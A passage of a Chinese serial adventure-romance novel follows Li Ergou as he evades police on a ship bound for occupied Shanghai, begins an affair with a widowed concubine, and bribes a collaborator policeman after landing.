一个警察上前想要扯下李二狗蒙面的面纱,却被李二狗握住手腕,猛地往下一掰,瞬间掰断了他的手腕。 在警察痛得低头哀嚎之时,李二狗一掌拍在他的后脑勺上,登时昏死过去。 另一个警察吓得手里的枪都掉在了地上,他哆嗦着要去捡枪,却被李二狗一脚踢在他的太阳穴上,当即昏死过去。 李二狗知道甲板上不能久留,便回眸看了那个女子一眼,转身消失在甲板上。 女子看着李二狗的背影在自己眼前消失,嘴里喃喃道:“英雄,你救了我,可我还没有见过你的样子。” 甲板上很快便聚起了十几个警察,还有几个日本浪人。 日本浪人对同伴被中国人杀害十分恼怒,他们命令警察必须把凶手绳之以法,否则严惩不贷! 轮船上的大搜捕开始了。 第665章 有人饶不了你 李二狗回到船舱之后立马换了一身行头,并戴上了一顶黑色的礼帽。 他打开船舱的窗户把刚才蒙面的纱巾扔进了大海。 警察开始挨个船舱进行搜查,李二狗没有待在船舱里,而是主动走出船舱,来到甲板上。 一般人犯了事都会找一个地方躲藏起来,而李二狗却反其道而行之,他大摇大摆地来到甲板上,吹着海风,哼着小曲,根本不在意船舱里已经乱成了一锅粥。 警察搜查了两个时辰,光嫌疑人就抓捕了十几个。 刚刚挨打的那两个警察仔细辨认了一番,没有一个人符合凶手的特征。 警察队长大怒,他刚才在值班室里已经被一个日本人扇了好几个大嘴巴子,如果抓不到凶手,他头上这顶警察的帽子恐怕就戴不住了。 他命令手底下的警察把全轮船的人全部赶到甲板上,让挨打的两个警察挨个辨认,一定要抓住杀人凶手。 “大哥,你怎么还敢站在这里?” 李二狗转身看到刚刚被自己搭救的那个女子正站在自己身后,虽然眼睛哭得红肿,但嘴角的那抹笑意却掩饰不住。 李二狗故意说道:“小姐,你认错人了吧?” 女子十分肯定地说道:“大哥,我认得你的眼睛,就像夜空里的星星一样明亮,我不会认错的!” 李二狗无奈地笑了笑,男人长得太帅也是个麻烦。 他只好说道:“姑娘,现在警察正在到处抓捕我,你还是不要和我走的太近,我不想连累你。” 女子说道:“刚刚你都不怕被我连累,我又怎么会怕被你连累呢?” 李二狗没想到这个女子竟如此有情有义。 “姑娘,这里不安全,你还是赶紧离开吧。” 女子说道:“大哥,警察现在要把所有的人都赶到甲板上,我担心他们会认出你。” “认出就认出吧,大不了就和他们拼了!” “大哥,你跟我来。” 李二狗不明白女子的意思,刚想问清楚,那女子已率先走进船舱,李二狗只好跟了上去。 女子带着李二狗来到自己的船舱,这是一个头等舱,里面有床、衣柜、沙发,还有一个独立的卫生间。 “大哥,待会儿得委屈你一下,躲在衣柜里,我有办法让那些警察离开。” 李二狗不知道女子能有什么办法,但看她自信的样子,还是选择相信她。 很快,外边便传来警察的砸门声和呵斥声。 “大哥,你快躲进柜子里,无论外边发生什么,千万别出来。” 李二狗深吸一口气,躲进了柜子里,女子开始趴在床上哭泣。 “开门,开门。” 女子打开房门,一个警察走了进来。 “所有人马上到甲板上去!” 女子哭喊道:“你们还有人性吗?我就是刚刚被日本浪人欺负的女人,你们不去惩治日本人,还到我这里来耍威风?” 警察看了女子一眼,脸上丝毫没有同情的样子。 “马上到甲板上去,这是命令!”说完,他环视一圈房间,“房间里还有其他人吗?” 说着他便径直走向卫生间,推开卫生间的房门,发现里面并没有人。 他转身又看向衣柜并向衣柜走去。 女子突然冲到他跟前,抬手扇了他一个耳光。 “你他娘的敢打老子?活得不耐烦了!” 警察抬手就要还手,女子不仅没躲,反而主动迎了上去。 “你敢打我一下,上海警察局有人饶不了你!” 警察抬起的手停在半空,他就是上海警察局的,难道这女子在上海警察局有熟人? “你少吓唬人!你敢打警察,我岂能饶你!” “上海警察局副局长张金荣是我儿子,你要敢对我无理,他肯定不会放过你。” 张金荣的确是上海警察局副局长,可他的年龄比这个女人还大,又怎么会是她儿子? “哈哈哈,你可真是说瞎话连眼都不眨一下,张局长比你还大好几岁,他怎么可能是你儿子?” 女子不慌不忙地说道:“我是他爹张月笙的三姨太宋若楠,不信你现在就可以打电话去问张金荣。” 宋若楠说完,又开始嚎啕大哭。 “刚才那个日本浪人杀死了我家老爷,等金荣知道了,一定会和你们算账的。” 宋若楠说的有鼻子有眼,警察不敢不信。 但张月笙是日本人杀死的,和他无关,他并不怕张金容找他算账,但要是现在得罪了这个女人,说不定真会倒大霉。 “你在这个房间里待着,不许随意走动,我现在去向上级请示。” 警察走后,宋若楠擦干眼泪,把房门从里面插上。 她转身来到衣柜前,轻轻地敲了一下柜门,说道:“大哥,出来吧,警察走了。” 李二狗这才从衣柜里走了出来。 “大哥,警察走了,但外边不安全,你还得在我这里多待一会儿。” 刚才宋若楠和警察的对话,李二狗听得一清二楚。 难道上海警察局副局长真是她儿子? 堂堂上海警察局副局长的父亲竟被日本人扔进了大海,可见日本人根本不拿中国人当人看。哪怕你是高官的爹,但只要是中国人,天然地就比日本人矮一头。 房间虽然是头等舱,但面积还是很局促,两人能清晰地听见彼此的呼吸声。 “大哥,你坐,我给你倒杯水。” 宋若楠刚刚被撕破的衣襟还半敞着,她还没来得及换衣服,里面白皙的酥胸微露,李二狗不自觉地咽了一口口水。 李二狗喉咙滚动的样子全被宋若楠看在眼里,她低头看了一眼自己被撕破的衣服,本想用手去捂,但想到自己若是这样做,会让李二狗尴尬。 他是自己的救命恩人,宋若楠不能让他尴尬。 她镇定自若地给李二狗倒了一杯水。 “大哥,请喝水。” 宋若楠虽然美艳无比,但李二狗也是见过世面的男人,又怎会一直盯着她半露的酥胸! 李二狗接过水放在旁边的茶几上,起身说道:“姑娘,我去下卫生间,等你方便了叫我。” 宋若楠当即明白了李二狗的意思,他真是一个十足的绅士。 第666章 我一个人好怕 宋若楠换上了一身新的衣服,并对着镜子整理了一下凌乱的头发。 “大哥,你出来吧。” 听到宋若楠的声音,李二狗才从卫生间走了出来。 两人对视一眼,宋若楠赶紧把目光移开,这个男人的眼里有电,宋若楠根本不敢与他对视。 “姑娘,谢谢你,不然我可能就被警察带走了。” 宋若楠赶紧说道:“大哥,你千万别这么说,你这都是为了救我。” 李二狗突然看到宋若楠的脖子处有一处血痕。 “姑娘,你脖子那里流血了。” 一听到血,宋若楠本能地双腿一软,差点摔在地上,好在李二狗眼疾手快,一下扶住了她。 “姑娘,你没事吧?” 李二狗心想,只是出了一点血罢了,用得着吓成这样吗? 宋若楠仿佛猜到了李二狗的疑惑,她深吸一口气,缓缓说道:“我从小就怕血,见到血就犯迷糊。” 原来是晕血。 “去床上休息一下吧。” 李二狗扶着宋若楠躺在床上,不可否认,宋若楠的确是李二狗见过最漂亮的女人。 那眉梢、那嘴角,还有洁白无瑕的皮肤,前凸后翘的身材都是一等一的好。 李二狗在这个女人身上没有发现缺陷,全是美。 “姑娘,你这里有紫药水吗?我给你涂抹一下伤口,免得发炎。” 宋若楠指了指床头柜子的一个抽屉。 “那里面有个药箱,你看看有没有紫药水?” 李二狗打开抽屉,果然有一个药箱,打开之后,找到一瓶紫药水,还有棉棒。 果然贵有贵的道理,头等舱连药箱都有。 李二狗打开紫药水的瓶盖,抽出一根棉棒,插了进去。 宋若楠的伤口在锁骨下面,她自己又不敢低头去看。 “姑娘,你的伤口……”李二狗指了指她的锁骨处,“得露出来一点。” 宋若楠说道:“大哥,我晕血,你来帮我吧。” 宋若楠说完便闭上了眼睛,一副任君采撷的样子。 李二狗看着闭上眼睛的宋若楠,她闭上眼睛都是那么美。 他深吸一口气,伸手解开了她衣服最上面的一粒扣子,这是李二狗平生见过最美的画面。 颈项如雪,锁骨若隐若现,似玉簟秋凉,暗藏几分撩人韵致。 那精致的锁骨线条,仿佛是大自然最细腻的雕刻作品。 李二狗看入了神,口水差点滴到她的锁骨上。 她的锁骨深到可以盛下一碗水。 “大哥,好了吗?” 李二狗这才醒过神来。 “快了,快了,马上就好。” 李二狗咽点口水,赶紧拿起棉棒,轻轻地擦拭了一下她的伤口。 当棉棒接触到伤口的时候,宋若楠的身子微微一颤,连带着李二狗的手都颤了一下。 一滴紫药水滴到了她的锁骨窝里,李二狗下意识地用手去擦,没想到宋若楠突然收缩了一下脖子,差点把李二狗的手指夹在她的锁骨窝里。 好不容易擦完了紫药水,李二狗又把她的扣子扣上,已是满头大汗。 “好了。” 宋若楠这才缓缓睁开眼睛。 “大哥,谢谢你。” 宋若楠刚想起身,李二狗说道:“姑娘,你再躺会吧,别再晕倒了。” 宋若楠微微一笑,说道:“我哪有那么弱不禁风啊?我只是有点晕血罢了。” 她从床上坐起来,看到李二狗满头大汗,便掏出自己的手绢要为他擦额头的汗水。 “大哥,你怎么热气这样?” 李二狗不好意思地说道:“房间里有点闷,我自己来吧。” 宋若楠便把手绢递到了李二狗手里,李二狗闻到手绢上有一股淡淡的茉莉花香,沁人心脾。 “大哥,你怎么称呼?我叫宋若楠,你还是叫我若楠吧。” 宋若楠这个名字是阳春白雪,而李二狗这个名字则显得十分粗鄙,李二狗第一次有自卑的感觉。 “我叫李二狗。” “李二狗,嘻嘻,我喜欢这个名字,以后我就叫你二狗哥吧?” 李二狗心想,你我萍水相逢,除了今日又何来以后啊。 “好啊,那我就叫你若楠,父母没文化,起的名字太土了,你别见笑就好。” “嘻嘻,怎么会呢?其实男人的名字还是叫起来朗朗上口比较好,你说呢?二狗哥。” 李二狗没想到宋若楠还有点自来熟,在他印象中,漂亮的女人都是冷艳的。 “若楠,刚才被日本人扔进大海的那个人是……你什么人?” 李二狗虽然已经听到宋若楠亲口说她的那个男人的三姨太,但还是想听她再亲口说一遍。 宋若楠脸色微变,想到葬身海底的男人,不自觉滴下几滴眼泪。 “我是那个人的三姨太,家里被日本人的炮弹炸毁了,人也死的差不多了,这次去上海是投奔他儿子。” “那个上海警察局副局长?” 宋若楠点了点头,泪水成串成串地落下。 如今张月笙已死,和她完全没有血缘关系的张金荣会不会收留她还尚未可知。 如果不收留,乱世之中,她根本无法生存下去。 “别难过了,人死不能复生。” 李二狗把刚刚宋若楠给他的手绢又递给她。 宋若楠接过手绢,很自然地擦了擦泪水,丝毫没有嫌弃之意。 宋若楠虽然没直说,但李二狗能感知到她的心理。 她是张月笙的三姨太,和张金荣没有任何血缘关系,可能还会因为自己的娘和宋若楠争风吃醋,而对她产生厌恶。 在这样的大户人家,这样的剧情每天都在上演,胡家大院就是一个活生生的例子。 “大哥,你家是上海的吗?” 李二狗摇了摇头。 “我去上海探亲。” “如今上海已经被日本人占领,你这时候去很危险的。” 李二狗笑了笑,心想,你都不怕危险,难道我还怕危险吗? “她们住在租界区,日本人不敢进去。” “奥,租界区好。” 宋若楠心想,如果我也能住在租界区就好了。 “若楠,我听着外边也没什么动静了,你好好休息,我先回去了。” “二狗哥,你别走好吗?我一个人好怕!” 面对宋若楠的请求,李二狗没有丝毫犹豫便答应下来。 他是一个怜香惜玉之人,怎么会让这么漂亮的女人独自害怕。 第667章 翩若惊鸿,婉若游龙 两个人在这个狭小的房间内,从各自的童年往事畅谈到人生理想,从诗词歌赋热聊到风雪花月,彼此大有相见恨晚之意。 尤其是宋若楠,她对李二狗过往的英雄事迹简直佩服的五体投地,当然这还是李二狗有所保留。 如果李二狗不是刻意隐瞒了其中的一些情节,宋若楠当场就会投入李二狗的怀抱,恨不得立马给他生一个狗崽子。 两人越说越兴奋,李二狗知道如果自己再不控制一下节奏,接下来肯定会发生一些红脸出汗的事情。 “若楠,时间不早了,你早点睡吧。” 宋若楠意犹未尽地说道:“二狗哥,你要离开我吗?我一个好怕的。” 李二狗犹豫了一下,还是伸手抚摸了一下她额前的那溜刘海。 “放心吧,我不走,就在这里看你睡,好吗?” 宋若楠立刻表现出一副少女才有的娇羞。 “二狗哥,你对我真好。” “快睡吧,睡醒了船就靠岸了。” 宋若楠躺在床上,把被子扯过来盖在身上,只露出一个小小的脑袋。 “二狗哥,你不睡吗?要不然你也上床来睡吧,只要……只要你保证不乱动,嘻嘻。” 看着宋若楠渴望的眼神,李二狗只犹豫了一下,还是狠心拒绝了。 他不想让自己受那种煎熬。 “你快睡吧,床太小了,我怕挤着你。” 宋若楠眨巴了一下自己那双纯净的大眼睛,懵懂地问道:“你有那么大吗?” 李二狗仿佛受到了某种鼓励,他故意夸张地说道:“大,相当大!” 看着李二狗那坏坏的眼神,宋若楠的脸瞬间红到了耳朵根。 “二狗哥,你坏死了,人家不理你了!” 说完,她便一把拉过被子盖在头上,那副撒娇的模样即使隔着被子,李二狗也能感受到那股扑面而来的荷尔蒙气息。 宋若楠再次从被子里露出小脑袋,认真地问道:“二狗哥,你真的不上床睡吗?” “你快睡吧,我就坐在这里看着你睡。” 宋若楠的美貌,连她自己都无法拒绝,没想到李二狗却能在这样的情形下把持住自己,他实在不是一个凡人。 宋若楠对李二狗的好感度“蹭蹭”地往上升。 “那我睡喽,晚安,二狗哥。” 宋若楠虽然闭上了眼睛,但她悄悄吞咽口水的细小动作还是被李二狗看在眼里。 她真的是一个纯洁的尤物! 看了一会宋若楠,发现她睡着之后,李二狗才走到沙发旁边坐下。 他闭上眼睛,脑海里呈现的却不是宋若楠的身影。 他确实长大了,再也不是那个见到漂亮女人就把持不住自己的男孩子! 一夜无话,当李二狗醒来时,宋若楠正侧躺在床上看着他。 发现李二狗醒来,宋若楠露出一个羞涩的笑容。 “二狗哥,你睡的好吗?” “挺好的,好像我在梦里还听到了你的打鼾声。” “啊?我打鼾?这怎么可能嘛。” 李二狗笑道:“不仅打鼾,声音还很大呢,哈哈。” 宋若楠看李二狗一脸坏笑,才知道他是在故意逗弄自己。 “二狗哥,你坏死了,就会欺负人,哼!” 就在二人打情骂俏之时,门外响起来敲门声。 宋若楠当即做出了一个噤声的手势。 她整理一下情绪,问道:“谁啊?” “张太太,您好,我是上海警察局的杜啸林。” 原来是来拍马屁的,看来他们已经打听清楚了宋若楠的身份。 “杜队长这么早,什么事吗?” 杜啸林说道:“张太太,我已经和张副局长联系上了,对于张老爷的不幸去世我深表遗憾,张副局长指示我们一定要安全地把您送上岸。” 李二狗走到宋若楠身边,附耳对她说了一些什么,宋若楠立即心领神会。 “杜队长,杀害我们老爷的凶手就是那个日本浪人,你们把他绳之以法了吗?” 杜啸林沉默了,他怎么敢抓日本人?就是张金荣也不敢得罪日本人。 “张太太,日本人犯法得由日本政府审理,我们无权逮捕审问日本人啊。不过您放心,张副局长已经和上海日本宪兵司令部进行交涉了,他们表示一定会秉公处理。” 宋若楠忍不住冷哼一声,在中国的土地上,一个日本人杀了中国人竟然没人敢管! “杜队长,我还想多睡一会儿,我不需要你们的护送,你请离开吧。” “张太太,张副局长的命令我们必须执行啊,您先休息,待会儿我再过来。” “滚!”宋若楠痛骂道。 杜啸林灰溜溜地走了,但他临走之前特意留下两个警察在门口站岗。 他虽然不敢得罪日本人,但如果日本人再来找宋若楠的麻烦,他也担待不起。 杜啸林离开后,宋若楠刚要说话,李二狗突然用手捂住了她的嘴。 “别出声。”李二狗在她耳边轻声提醒道,然后指了指门口,“外边有人。” 宋若楠眨巴了一下大眼睛,点了点头,李二狗这才松开手。 她走到门后,趴在房门上仔细听了半天,并没有听到外边有任何动静。 “没有人啊?” 她说话时,几乎贴在李二狗的脸上,嘴里呼出的气息带着一股香草的味道直抵李二狗的灵魂深处。 李二狗低声说道:“你开门看看。” 说完自己便闪身躲在房门后面。 宋若楠伸手打开房门,果然见有两个警察正站在房门两侧。 当他们看到宋若楠,也是看呆了。 好漂亮的女人! 翩若惊鸿,婉若游龙! 仿佛兮若轻云之蔽月,飘飖兮若流风之回雪。 “谁让你们站在这里的?给我滚!” 两个警察听到喝骂声,才从想象中回到现实,他们没想到如此美丽动人的女子骂起人来竟也是这般粗鲁。 “张太太,是杜队长让我们留下来保护您的!” “滚!再不滚,我让张金荣毙了你们!马上滚!” 两个警察见状,担心再待下去会彻底得罪这个看似温柔的母老虎,只好灰溜溜地走了。 宋若楠关上房门的瞬间,脸上立马绽放出灿烂的笑容。 第668章 多情的二狗 “二狗哥,他们终于走了。” 宋若楠长舒一口气,显得很兴奋,仿佛门外的人站在那里会耽误她很多的事情一般。 按照轮船的航程计划,这艘轮船中午左右就会到达上海,可李二狗的行李还在他的船舱里,他不能一直待在这里,必须返回船舱,拿到自己的行李。 “若楠,我得回我的房间一趟。” 宋若楠一听李二狗要走,急得差点哭出声来。 “二狗哥,你别走!人家不让你走!” 她拉住李二狗的胳膊,生怕一放手他就会离开。 “若楠,我不是走,我的行李还在我的房间里,船马上就要靠岸了,我得去拿我的行李。” 宋若楠说道:“你这样出去太危险了,万一被他们认出来怎么办?再说,那帮警察可能就在外边某个隐蔽的角落监视着这个房间,你一出门,他们可能就发现了。” 李二狗只想着尽快拿到行李,却忽视了这么重要的情况,幸好宋若楠及时提醒,不然他就真的暴露了。 李二狗见到美女就犯迷糊的毛病还是没有一点长进。 可行李他必须得去拿,那里面有他的证件和一些重要物品,绝对不能丢失。 “若楠,你不去餐厅吃早餐吗?” 宋若楠刚要说自己不饿,突然明白了李二狗的意思。 “二狗哥,我去引开他们,你回你船舱拿行李,然后再回到这里,好吗?” 李二狗说道:“你这里已经被警察监视了,我再回来也不方便,等到了上海,我再去找你好吗?” 宋若楠一想到要和李二狗分别,顿时红了眼眶。 她不再矜持,而是扑到李二狗怀里,娇躯颤抖。 “二狗哥,我舍不得你走。” 李二狗抚摸着她的长发,安慰道:“若楠,我答应你,等到了上海,我一定去看你。” 其实,自从宋若楠嫁给张月笙之后,她和张金荣此前只见过两面,现在张月笙已死,她知道张金荣绝不会轻易收留她,除非…… 前两年,她父母为了钱,把她卖给张月笙做三姨太,她已追悔莫及。 如果要是为了生活再委身给张月笙的儿子张金荣,她绝对接受不了这种荒唐的生活。 现在李二狗是她唯一的指望,她绝不能轻易放手。 想到这,她再也顾不上什么女人的矜持和礼义廉耻,抬头吻住了李二狗的嘴。 这一猝不及防的吻令李二狗浑身一颤,那温热的唇舌和香甜的气息瞬间击破李二狗所有的防备。 他热烈地回应着她的热情。 两人从地上吻到床上,又从床上吻到被窝里。 那褪下的一件件衣服杂乱地扔在地板上,配合着被窝里嗯嗯啊啊的节奏,上演了一出活色生香的春宫图。 李二狗健硕的身体配合着宋若楠柔弱无骨的身段,两人很快就到达了巅峰。 宋若楠瘫软在李二狗怀里。 “二狗哥,我今天才知道做女人原来可以这么快乐。” 李二狗怀里抱着宋若楠,心里却有一种空落落的感觉,他不知道将来怎么面对他的女人们,又该如何和宋若楠相处。 在这样一个乱世,实在不应该做一个多情的男人。 “若楠,等到了上海,你有什么打算?”李二狗故意问道,他想听听宋若楠怎么说。 如果她只是想和李二狗做一个露水夫妻,所有的行为都只是一时的冲动,李二狗绝不会挽留她。 如果她需要李二狗为她负责,他也绝不会推辞,他从来不是一个提上裤子不认人的男人。 “二狗哥,我想跟你走。” 宋若楠伏在李二狗怀里开始哭泣,如泣如诉。 “若楠,我可以带你走,但是我的一些情况我必须提前告诉你。” 宋若楠说道:“二狗哥,我知道,像你这么优秀的男人不可能没有女人,但我不介意,只要能和你在一起,我就心满意足了。” “可我不能给你一个完整的家啊!我们无法天天待在一起,也许很长时间都不能见面。” “二狗哥,两情若是长久时,又岂在朝朝暮暮。不论你在哪里,我都会在一个离你不远的地方住下来,这个地方只有你知道。你可以来,也可以不来,我只想让你知道,我离你不远。” 宋若楠落泪了。 大颗大颗的泪珠掉在李二狗浅色的衣服上,一颗一颗,十分清晰。 李二狗只觉得这段话非常熟悉,他依稀记得当年静雯也对他说过同样的话。 话已至此,李二狗如果还要拒绝宋若楠,那简直就不是人做的事! 他当年在上海租界区购买的别墅还有两套空闲着,可以让宋若楠住进其中的一套。 乱世之中,让她住在租界区,李二狗也能安心一些。 “若楠,我在上海租界区还有一栋别墅,你愿意住进去吗?” 宋若楠欣喜异常,别说别墅,就是茅草屋她也愿意,因为房子在租界区,她听张月笙不止一次地说过,日本人不敢进入租界区,现在那里是整个中国最安全的地方。 “我愿意,二狗哥。” 她把李二狗搂的更紧了。 “但我不能在上海久待,过段时间我还得回江东。” “那你会经常来看我吗?” “我会来看你,但不能经常。” “我知道,这一路上都是日本鬼子,我也不放心你来回奔波,二狗哥,你如果方便,我可以跟着你回江东。” 李二狗怎能让她跟着自己回江东?江东有李素文和宋小曼两个女人已经令他应接不暇。 如果再加上宋若楠,胡家大院将永无宁日! “若楠,江东如今已经被日本人占领,很不安全,你还是留在上海的租界区吧,你放心,我会抽空回来看你的。” 宋若楠知道,自己如今的处境无法要求更多,只要有一个能落脚的地方她就十分满足了。 对她来说,李二狗就是她的救命稻草,她必须紧紧地抓住。 “二狗哥,人家都听你的。” 宋若楠再一次吻住李二狗的嘴,两人又情不自禁地翻滚在一起…… 第669章 码头分别 有了和李二狗此番深入的交流,宋若楠这才彻底放下心来。 “二狗哥,我现在就去餐厅吃早饭,然后把他们引开,你趁机回你房间去拿行李。” 李二狗则是一副心事重重的样子,他此刻有些后悔没能把持住自己。 像宋若楠这样漂亮的女人,以后该如何与她相处? 带在身边不方便,不带在身边又不放心,他有一种被请君入瓮的感觉。 但事是自己做的,李二狗绝对不会赖账。 不过现在宋若楠身边一直有警察保护,他如果想下船后带走她也不是一件容易的事情。 “若楠,待会儿下船后,那些警察应该会一直跟随着你,到时候如果不方便脱身,我事后会再想办法去找你,你千万不要冲动,你懂我的意思吗?” 宋若楠担心夜长梦多,便建议道:“二狗哥,到时候我把他们骂走,咱们可以趁着码头上人多离开。” “码头上都是日本人和警察,如果闹大了,咱们都走不了。” “可……”宋若楠的眼泪又“吧啦吧啦”掉了下来。 “若楠,你放心,上海警察局副局长的家在哪里还是很容易打听的,我一定会去接你的。” 宋若楠靠在李二狗胸口,娇滴滴地说道:“二狗哥,人家这辈子跟定你了,你要不来接我,我也活不下去了。” 李二狗安慰道:“傻瓜,我怎么会不去接你呢,放心好了。” “二狗哥,你真好,我等你。” “好,待会儿船靠岸后,咱们见机行事。” 宋若楠点了点头,在即将出门前又再次返回扑入李二狗的怀里,再一次狂风暴雨般亲吻了李二狗。 “二狗哥,我一刻也不能和你分开,你不要离开我好吗?” “乖,我不会离开你的,快去吧,时间不早了。” 宋若楠得到李二狗的承诺后才恋恋不舍地打开房门走了出去。 果然在走廊的尽头站着两个警察,他们见宋若楠走过来,并没有刻意躲避,而是用眼睛余光一直盯着她。 宋若楠为了把他们引走,故意什么都不说也不看他们,昂头挺胸地从他们身边走过。 两个警察面面相觑之后,立马跟了上去,他们接到的命令是保护宋若楠,当然是她去哪里他们就要跟着去哪里。 一分钟之后,李二狗从宋若楠房间里从容地走了出来。 走廊里很安静,李二狗时刻保持着警惕,好在一路上并没有遇到什么异常情况,李二狗顺利地回到自己房间门口。 李二狗住的是一等舱,虽然不如宋若楠的头等舱豪华,但也是一个单人房间,李二狗不喜欢和别的男人挤在一个密闭狭小的房间里。 当年在胡家大院当下人时,他都没有和那些男人挤大通铺,如今他的身价即使买下这艘轮船也不是什么难事。 他进门前下意识地左右看了一眼,确定没有什么异常情况之后才开门走了进去。 刚打开房门的瞬间,一支手枪就顶在了他的脑袋上。 “你终于回来了!” 李二狗在一瞬间的慌乱之后马上镇静下来。 “兄弟,想要钱可以直说,不用这么舞刀弄枪的,我兜里有钱,你可以全部拿走。” 对方没有说话,而是一手拿枪继续指着李二狗的脑袋,另一只手则去掏李二狗的口袋。 就在他分神的一刹那,李二狗趁机掰住他的手腕,手上一发力,手枪已到了李二狗的手里。 对方只发出一声惨叫,李二狗已经用枪顶在了他的脑袋上。 “别动!举起手来,否则老子一枪毙了你!” 对方只好乖乖地把双手举过头顶。 “你是什么人?” 对方并没有显得十分慌乱,显然不是一般的小偷小摸。 “我的身份你还是不知道的好,你现在放我走,我可以当没有见过你。” 李二狗最讨厌的就是在自己面前装逼的人,李二狗自己就是装逼界的扛把子,哪轮得着别人在他面前装逼。 “信不信我现在一枪打爆你的脑袋?” 李二狗把枪口往前顶了顶,对方身体明显一颤,没想到对方还是个狠角色。 “我是警察,来搜捕杀害日本人的凶手。你最好马上放了我,不然后果是什么,你心里清楚。” 原来对方是到李二狗的房间里搜捕,发现房间里没有人,才决定留下来守株待兔。 李二狗知道这些警察的贪婪,如果他猜得没错,自己的行李肯定已经被他翻过。 “转身!靠墙站好!”李二狗命令道。 “你敢命令警察?你是不是……” 对方话未说完,李二狗一枪托砸在他的脑袋上,他顿时昏死过去。 一个不中看也不中用的废物! “最烦你这种叽叽歪歪的男人!” 李二狗从他身上果然翻出自己行李中的印章、身份证明等物品,没有这些东西,他无法在租界区的外国银行里取钱。 为了确保自己可以安全离开,李二狗找来绳子和毛巾,把这个警察捆起来堵上嘴塞在了床底下。 轮船很快便靠岸了,李二狗提着行李,随着人群下了船。 出口虽然有警察在检查,但李二狗镇定自若的样子还是让他得以顺利下了船。 李二狗看到宋若楠正站一根柱子旁边等着他,可她身后还站着两名警察。 正当李二狗在考虑怎么才能顺利带走宋若楠时,一辆斯蒂庞克牌黑色小轿车停在了她的身边。 车上下来一个穿着黑色皮衣的中年人,戴着一副墨镜,两名警察见到他,立马立正打敬礼。 李二狗猜测,这个人可能就是上海警察局副局长张金荣,张月笙的儿子。 李二狗和宋若楠都没想到,张金荣竟会亲自到码头来接人。 李二狗看了看码头四周,除了一些警察之外,还有不少日本宪兵。 李二狗向宋若楠点了点头,告诉她不要轻举妄动。 宋若楠没有办法,只能跟着张金荣上了车。 她上车之前抬头看向李二狗的方向,那眼神里充满了无奈和渴望,仿佛在告诉李二狗,一定要来接她。 第670章 结识孙佛海 李二狗走出码头,立即被眼前这个满目疮痍档次城市惊呆了。 这还是那个繁华的上海滩吗?怎么到处是断壁残垣? 街上到处是巡逻的日本兵和汉奸警察,他们随时检查过往行人的证件,一旦发现异常,立马逮捕。 “站住!” 有一个警察拦住了李二狗的去路,他身后不远处站着一排日本宪兵。 “外地来的?” 李二狗脸上立马堆起笑容,说道:“老总,我来上海探亲。” 警察上下打量了李二狗一番,质问道:“探亲?这年月还敢来上海探亲?我看你小子就不是什么好人,老实说,到上海来做什么?” 幸好李二狗早有准备。 他从身上掏出自己的证件,还有他特意要求孙竹刚给开的介绍信。 “老总,我真是来上海探亲的。你看,这是我的证件,还有我们县政府给开的介绍信。其实咱们都是一样的人,我是我们镇维持会会长,都是为大日本皇军办事的。” 警察接过证件,仔细看了看,果然也是汉奸。 汉奸见汉奸,并没有两眼泪汪汪,其实当汉奸之人也看不惯别人当汉奸。 “你小子这是从哪里伪造的证件?竟敢来上海坑蒙拐骗?你知不知道如今上海是什么地方?信不信我让皇军把你带回宪兵队?” 李二狗最擅长的就是和这种卑鄙无耻的小人打交道。 “老总,借一步说话。” 警察脸上露出一副微不可察的笑容,心想,看来这小子上道,今天又能发发小财。 “老总,我家人住在租界区,这几个月一直没有她们消息,我担心的不行,所以一听到皇军占领了上海,才赶来看看她们,您就行个方便吧?” 李二狗说着把三块大洋塞到警察手里。 警察把大洋攥在手里,没有低头去看,只是用力握了握,让手指感触到冰凉的大洋带来的热度。 “看在咱们都是为皇军效力的份上,我可以让你走,不过……” 警察猥琐地笑了笑,看着李二狗不说话。 “老总,不过什么?” “如今想进租界区可没有那么容易。” 李二狗说道:“我的家人都住在那里,我在租界区也有买的房子。” “今时不同往日,如今上海已经是日本人的地盘。租界区的北区和东区,如今已被日本人占领,你家在租界的哪个区?” 李二狗长舒一口气,幸好他买的房子在租界区的中区。 当年他在上海租界区买房子的时候,特意对上海市的地形做了一番分析。 日本人要想进攻上海,肯定会选择从东面的海上通过黄浦江发起进攻,那租界区的东区和北区就很可能会受到战火的影响。。 而苏州河以南的地区则会相对安全,于是他特意选了租界区工部局附近的房子,那里的房子虽然贵,但却是租界区最繁华的地方,当然也是最安全的地方。 果然贵有贵的道理。 “老总,我家在中区,那里应该没受战火的影响吧?” 警察严肃地说道:“前段时间打仗的时候,有十几万人涌入那里,现在想进入租界区的人成千上万,你要是没有人,那些巡捕根本不会放你进去!” 李二狗心想,这个警察之所以告诉自己这个消息,肯定不是因为出于好心。 “老总,我这几个月没来上海,不了解上海的情况,还请您给指条明路。” 警察最喜欢和李二狗这种一点就透的人打交道。 “遇到我算你小子运气好,办法嘛也不是没有,只要你舍得这个……” 警察一边说一边用手指比划了一下钱的手势。 “老总,还请您多费费心。” 李二狗又把五块大洋塞入警察手中。 警察手里握着大洋,笑得和屁呲似的,今天真是走了大运,片刻功夫就挣了八块大洋。 “你是想单次进入还是想办可以随时出入的证件?” 李二狗当然想办随时可以出入的证件。 “老总,办理这种随时能出入的证件需要多少钱?” 警察眯缝着眼,富含深意地看了李二狗一眼,伸出了两个手指头。 “两百?” 警察笑了,他笑李二狗的天真和愚蠢。 “两百?我看你小子还真是乡下来的。办理这种证件,需要上海公共租界工部局和日本宪兵司令部双方盖章,没有两千块大洋根本办不下来,而且还是限量办理,不认识人根本不给你办。” “老总,我这来得匆忙,身上没带那么多钱,我现在想进入租界区得多少钱?” 警察笑嘻嘻地伸出五个手指头,李二狗知道肯定不是五块大洋。 “五十块大洋?” “算你小子聪明,你要同意,我立马给你介绍人带你进去,不然你就是等个十天半个月也进不去。” 李二狗心想,现在淞沪地区的战争已经结束,即使日本人在上海实行严管,但租界区毕竟属于外国人的领地,自己在租界区买了那么多栋别墅,想进去应该没有那么难。 但自己现在没有证据证明自己在租界区有房产,要想进入,想来不是什么易事。 即使这个警察想做中间商赚点差价也是可以理解的,自己没必要和他斤斤计较,因为钱对于李二狗来说,并不是什么重要的东西,他有的是钱。 “老总,那就谢谢你了,我怎么联系介绍人?请您给引荐引荐。” 警察低声说道:“今天晚上九点,你到苏州河南岸中区南京路租界入口,有一个戴礼帽的人,你就说是上海警察局的孙队长介绍的,他会带你进去。” 李二狗心想,果然是有人好办事。 这个警察虽然看似是一个小人物,但脑子活泛,路子广,如果能结交他,对自己以后在上海办事大有益处。 “原来您就是孙队长啊,幸会幸会。” “你认识我?” 